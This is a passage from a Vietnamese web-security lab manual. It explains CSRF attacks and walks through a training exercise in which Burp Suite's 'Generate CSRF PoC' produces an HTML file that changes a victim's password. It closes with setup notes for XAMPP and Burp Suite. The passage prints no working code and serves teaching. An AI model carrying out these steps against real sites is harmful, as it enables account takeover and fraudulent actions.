Bước 2: Để dụ dỗ người dùng, hacker sẽ tạo ra một trang web độc và gửi
cho người dùng. Khi người dùng truy cập vào web độc này, một request sẽ được
gửi đến trang A mà hacker muốn tấn công (thông qua form, img, …). Do trong
request này có đính kèm cookie của người dùng, trang web A đích sẽ nhầm rằng
đây là request do người dùng thực hiện.
Bước 3: Hacker có thể mạo danh người dùng để làm các hành động như đổi
mật khẩu, chuyển tiền, ….
Ví dụ tấn công theo phương thức GET:
Trong CSRF, hacker sẽ đợi người dùng kết nối và thực hiện xác thực với
một trang web mà họ tin tưởng (trusted server), và lừa người dùng click vào những
đường link độc hại có đính kém những mã độc vào. Khi người dùng click vào
những đường link độc thì những mã độc sẽ được thực thi trên trusted server. Ở đây
cách này nói lên hacker đã sử dụng email mà trong đó đính kèm những đoạn script
động hại đến nạn nhân, Khi nạn nhận đã xác thực với một trang web và mở mail
lên thì những đoạn script được đính kèm trong đó sẽ thực thi trên máy nạn nhân.
Bước 1: Attcker sẽ gửi đường link có chữa mã độc tới cho User. Đoạn mã
độc để thực hiện một hành vi xấu của Attacker, nó được chứa trong một file
HTML, và User sẽ không biết được có mã độc hay không trong file. Mã độc
thường là một đường link được giấu trong thẻ img, với thuộc tính width và height
của thẻ img đều là 0.

71
Bước 2: Sau khi Attacker gửi và “dụ” được User click vào được link, thì trên
máy của User sẽ thực hiện request theo yêu cầu trong đường link có mã độc mà
User không hề hay biết.
Bước 3: Khi User “bị gửi” yêu cầu trong link có mã độc đến Server thì
Server vẫn đáp ứng bình thường, vì User đã được Server cấp cho session để thực
hiện request. Và request chứa mã độc được thực hiện một cách hợp lệ mà User
không hề hay biết.
Ví dụ tấn công theo phương thức POST:

Hình 3.2 Mô hình tấn công CSRF theo phương thức POST

Bước 1: Hacker chờ đợi nạn nhân xác thực với vunerability web application

Bước 2: Hacker dụ dỗ, dùng mọi biện khác nhau để đánh lừa nạn nhân khởi
tạo một request. Request này có chứa session id của nạn nhân (do đã được xác

72
thực), Hacker sửa đổi Request này theo mục đích của mình và chuyển đến cho
vunerability web application

Bước 3: vunerability web application thấy request này có session id hợp lệ


nên sẽ thực thi hành động được ghi trong request

Như vậy Hacker đã có thứ hắn muốn đó chính là hành động được ghi trong
request được thực hiện bởi vunerability web application nhân danh nạn nhân.

3.2. Bộ bài hướng dẫn các tấn công CSRF


3.2.1. Thực hành tấn công CSRF (Change Password) mức độ dễ
Chọn bài CSRF (Change Password)

Hình 3.3 Chọn bài CSRF (Change Password)

73
Chọn level low

Hình 3.4 Chọn level low trong bài CSRF (Change Password)

Như phần lý thuyết đã được trình bày trong chương I, CSRF (Cross-site
request forgery) là phương pháp mượn quyền của người dùng khác để thực hiện
một hành động không cho phép. Kẻ tấn công có thể giả mạo một yêu cầu và lừa
nạn nhân gửi chúng đi qua các thẻ hình ảnh, XSS, hoặc rất nhiều kỹ thuật khác.
Nếu người dùng đã được xác thực, việc tấn công sẽ thành công. Kẻ tấn công có thể
khiến nạn nhân thay đổi dữ liệu mà nạn nhân được phép thay đổi hoặc thực thi
những chức năng mà nạn nhân được phép thực thi.
Xác định lỗi CSRF
Thiết lập proxy Burp Suite ở chế độ ‘Intercept is on’.
Nhập vào ô new password để thay đổi password.

Hình 3.5 Giao diện thực hiện tấn công CSRF trong bài CSRF (Change Password)
mức độ dễ

Nhấn Change và xem thông tin thu được trên proxy:

74
Hình 3.6 Phương thức GET được sử dụng trong bài CSRF (Change Password)
mưc độ dễ

Ở đây thấy dữ liệu được gửi lên theo phương thức GET. Trên Burp Suite có
chức năng Generate CSRF PoC. Sẽ tạo ra 1 đoạn code html có nhiệm vụ thực hiện
yêu cầu của người dùng.

Hình 3.7 Sử dụng chức năng Generate CSRF PoC trên Burp Suite

Hình 3.8 Đoạn html sau khi sử dụng chức năng Generate CSRF PoC

Copy đoạn HTML rồi tạo 1 file HTML

75
Hình 3.9 Tạo file html với nội dung sau khi Generate CSRF PoC

Trong file html này hacker có thể thay đổi mật khẩu tùy theo ý muốn của
hacker, rồi gửi file này cho người dùng lừa kick vào

Hình 3.10 File html được gửi cho người dùng

Sau khi người dùng kick vào Submit request thì mật khẩu đã được thay đổi

Hình 3.11 Kết quả sau khai thác lỗi CSRF (Change Pasword) mức độ dễ

Bây giờ hacker có thể đăng nhập vào tài khoản của người dùng với mật khẩu
đã được đổi theo ý của hacker

76
3.2.2. Thực hành tấn công CSRF (Transfer Amount) mức độ dễ
Thực hành tương tự như bài 4.9

77
TÀI LIỆU THAM KHẢO

[1] YongHao Li. Cross-Site-Scripting (XSS)– Attacking and Defending, 2009


[2] Wenliang Du. Cross-Site Scripting (XSS) Attack Lab, 2010
[3] Amit Klein, Sanctum Security Group. Cross Site Scripting Explained, 2002
[4] Jeremiah, Robert “RSnake” Hansen, Petko “pdp” D.Petkov, Anton Rager,
Seth Fogie. Cross Site Scripting Exploits and Defense
[5] William Zeller, Edward W. Felten. Cross-Site Request Forgeries:
Exploitation and Prevention, 2008
[6] Stephen Carter. Cross-site Request Forgery (CSRF), 2010
[7] Jesse Burns. Cross Site Request Forgery- Information Security Partners, LLC,
2007
[8] Wasim Akram Shaik, Rajesh Pasupuleti. Avoiding Cross Site Request
Forgery (CSRF) Attack Using TwoFish Security Approach, 2015
[9] Cross-site Scripting (XSS),
Online: https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
[10] Cross-Site Request Forgery (CSRF),
Online:
https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)

78
PHỤ LỤC

Cách cài đặt XAMPP


Sau khi đã download được Xampp về máy, chúng ta tiến hành cài đặt như
sau.
Màn hình mới vào cài đặt:

Nhấn Next để tiếp tục việc cài đặt.

Nhấn Next để tiếp tục cài đặt.


79
Ở đây, nên chọn ổ đĩa mà không phải ổ C. Để tránh việc cài win hoặc ghost
máy bị mất dữ liệu.

Nhấn Next để tiếp tục

Nhấn Next để tiếp tục


80
Quá trình cài đặt diễn ra như hình bên dưới.

Tiếp theo ta được màn hình như bên dưới.

Nhấn Finish để hoàn thành việc cài đặt.

81
Cấu hình và sử dụng thành phần Proxy của Burp Suite
Burp Suite sau khi tải về có thể được sử dụng ngay mà không cần phải cấu
hình lại như dưới hình.

Tuy nhiên, ta có thể tiến hành cấu hình lại bằng cách vào tab Proxy, chọn
subtab Options, Click Edit và thực hiện cấu hình theo ý nghĩa của các tham số
trong bảng sau:
Tên tham số Loại đối tượng Ý nghĩa
Running Check box Running Check box Chạy, hay dừng
chương trình Proxy ?
Local Text box Nhập vào số cổng TCP mà Burp Suite
Listener port sẽ lắng nghe

Listen on Check box Mặc định Burp Suite nghe trên IP


local… 1270.0.01, Bỏ
tích để lắng nghe trên các Interface

Intercept client Check box Khai báo các điều kiện để Burp Suite
requests bắt các request được gửi lên từ phía
client
Intercept server Check box Khai báo các điều kiện để Burp Suite
Response bắt các response mà server gửi về cho
client

82
Với mỗi request mà Burp Suite bắt được, ta có thể chọn các tùy chọn như:
Forward,Drop hay chuyển nó qua các thành phần khác như Repeater, Compare,
Decoder…
Ngoài ra, ta còn có thể xem lại các request, response mà Burp suite đã bắt
được trước đó trong tại sub tab History.

83

You might also like